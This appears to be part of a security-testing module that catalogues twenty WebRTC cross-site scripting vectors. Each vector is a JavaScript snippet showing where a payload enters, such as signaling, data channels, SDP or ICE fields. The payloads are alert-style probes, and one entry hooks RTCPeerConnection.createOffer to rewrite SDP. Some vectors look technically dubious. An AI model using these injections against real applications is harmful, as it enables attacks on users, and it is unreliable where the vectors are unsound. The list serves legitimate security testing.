WebRTC XSS Context - Attack Vectors Module
"""

ATTACK_VECTOR = """
WEBRTC XSS ATTACK VECTORS:

1. SIGNALING MESSAGE INJECTION:
   Server relays signaling data:
   socket.emit('signal', {
     type: 'offer',
     from: USER_INPUT,  // Username injection
     data: sdpData
   });

   Attack payload:
   <script>alert('WebRTC XSS')</script>

2. DATA CHANNEL MESSAGE INJECTION:
   WebRTC data channel:
   dataChannel.send(JSON.stringify({
     type: 'chat',
     message: USER_INPUT,  // Chat message
     timestamp: Date.now()
   }));

   Attack payload:
   <script>alert(1)</script>

3. USERNAME/DISPLAY NAME INJECTION:
   Peer connection setup:
   pc.createOffer().then(function(offer) {
     return pc.setLocalDescription(offer);
   }).then(function() {
     socket.emit('signal', {
       user: '<script>alert(1)</script>',  // Injected username
       data: pc.localDescription
     });
   });

4. ROOM NAME INJECTION:
   Join room functionality:
   socket.emit('join_room', {
     room: USER_INPUT,  // Room name
     user: username
   });

   Attack payload:
   <img src=x onerror=alert(1)>

5. SESSION DESCRIPTION INJECTION:
   SDP (Session Description Protocol) manipulation:
   const sdp = 'v=0\\r\\n' +
               'o=- ' + USER_INPUT + ' IN IP4 192.168.1.1\\r\\n' +  // Origin line injection
               's=WebRTC Session\\r\\n';

6. ICE CANDIDATE INJECTION:
   ICE (Interactive Connectivity Establishment):
   pc.onicecandidate = function(event) {
     if (event.candidate) {
       socket.emit('ice', {
         candidate: event.candidate.candidate,
         user: USER_INPUT  // User data in ICE
       });
     }
   });

ADVANCED WEBRTC XSS TECHNIQUES:

7. MEDIA TRACK INJECTION:
   Adding malicious media tracks:
   const maliciousStream = new MediaStream();
   maliciousStream.addTrack(maliciousTrack);

   pc.addTrack(maliciousTrack, maliciousStream);

8. DATA CHANNEL PROTOCOL CONFUSION:
   Sending HTML as data:
   dataChannel.send('<script>alert(1)</script>');

   Receiving end interprets as HTML:
   const message = JSON.parse(dataChannelData);
   document.body.innerHTML = message.content;  // XSS execution

9. SDP PARAMETER INJECTION:
   Malformed SDP with XSS:
   const maliciousSDP = 'v=0\\r\\n' +
                       'o=<script>alert(1)</script> 123456 123456 IN IP4 0.0.0.0\\r\\n' +
                       's=WebRTC\\r\\n' +
                       'c=IN IP4 0.0.0.0\\r\\n';

10. RTC PEER CONNECTION HIJACKING:
    Intercepting and modifying peer connections:
    const originalCreateOffer = RTCPeerConnection.prototype.createOffer;
    RTCPeerConnection.prototype.createOffer = function() {
      return originalCreateOffer.apply(this, arguments).then(function(offer) {
        offer.sdp = offer.sdp.replace(/o=.*/, 'o=<script>alert(1)</script>');
        return offer;
      });
    };

11. MEDIA CONSTRAINTS INJECTION:
    Media constraints with XSS:
    const constraints = {
      audio: true,
      video: {
        width: 1280,
        height: 720,
        frameRate: 30,
        deviceId: USER_INPUT  // Device ID injection
      }
    };

12. STUN/TURN SERVER INJECTION:
    ICE server configuration:
    const configuration = {
      iceServers: [{
        urls: 'stun:stun.l.google.com:19302'
      }, {
        urls: 'turn:turn.server.com',
        username: USER_INPUT,  // Username injection
        credential: 'password'
      }]
    };

13. DATA CHANNEL LABEL INJECTION:
    Creating data channels with malicious labels:
    const dataChannel = pc.createDataChannel('<script>alert(1)</script>');

14. PEER IDENTITY INJECTION:
    WebRTC identity assertion:
    pc.setIdentityProvider('identity.example.com', {
      user: USER_INPUT  // Identity injection
    });

15. MEDIA CAPABILITIES INJECTION:
    Media capabilities with XSS:
    navigator.mediaCapabilities.decodingInfo({
      type: 'file',
      audio: {contentType: 'audio/webm'},
      video: {contentType: 'video/webm'}
    }).then(function(result) {
      socket.emit('media_info', {
        capabilities: result,
        user: USER_INPUT  // User data injection
      });
    });

WEBRTC-SPECIFIC BYPASSES:

16. BINARY DATA CHANNEL ATTACK:
    Sending binary data interpreted as HTML:
    const binaryData = new TextEncoder().encode('<script>alert(1)</script>');
    dataChannel.send(binaryData);

17. COMPRESSION ATTACK:
    Compressed data channel content:
    dataChannel.binaryType = 'arraybuffer';
    const compressed = pako.deflate('<script>alert(1)</script>');
    dataChannel.send(compressed);

18. FRAGMENTED MESSAGE ATTACK:
    Splitting XSS across multiple data channel messages:
    dataChannel.send('<scr');
    dataChannel.send('ipt>alert(1)</scr');
    dataChannel.send('ipt>');

19. MULTIPLEXING ATTACK:
    Multiple data channels with coordinated attack:
    chatChannel.send('Start attack');
    xssChannel.send('<script>alert(1)</script>');

20. DTLS FINGERPRINT SPOOFING:
    Fake DTLS certificates with XSS:
    const fakeFingerprint = 'XX:XX:XX:<script>alert(1)</script>:XX:XX:XX';
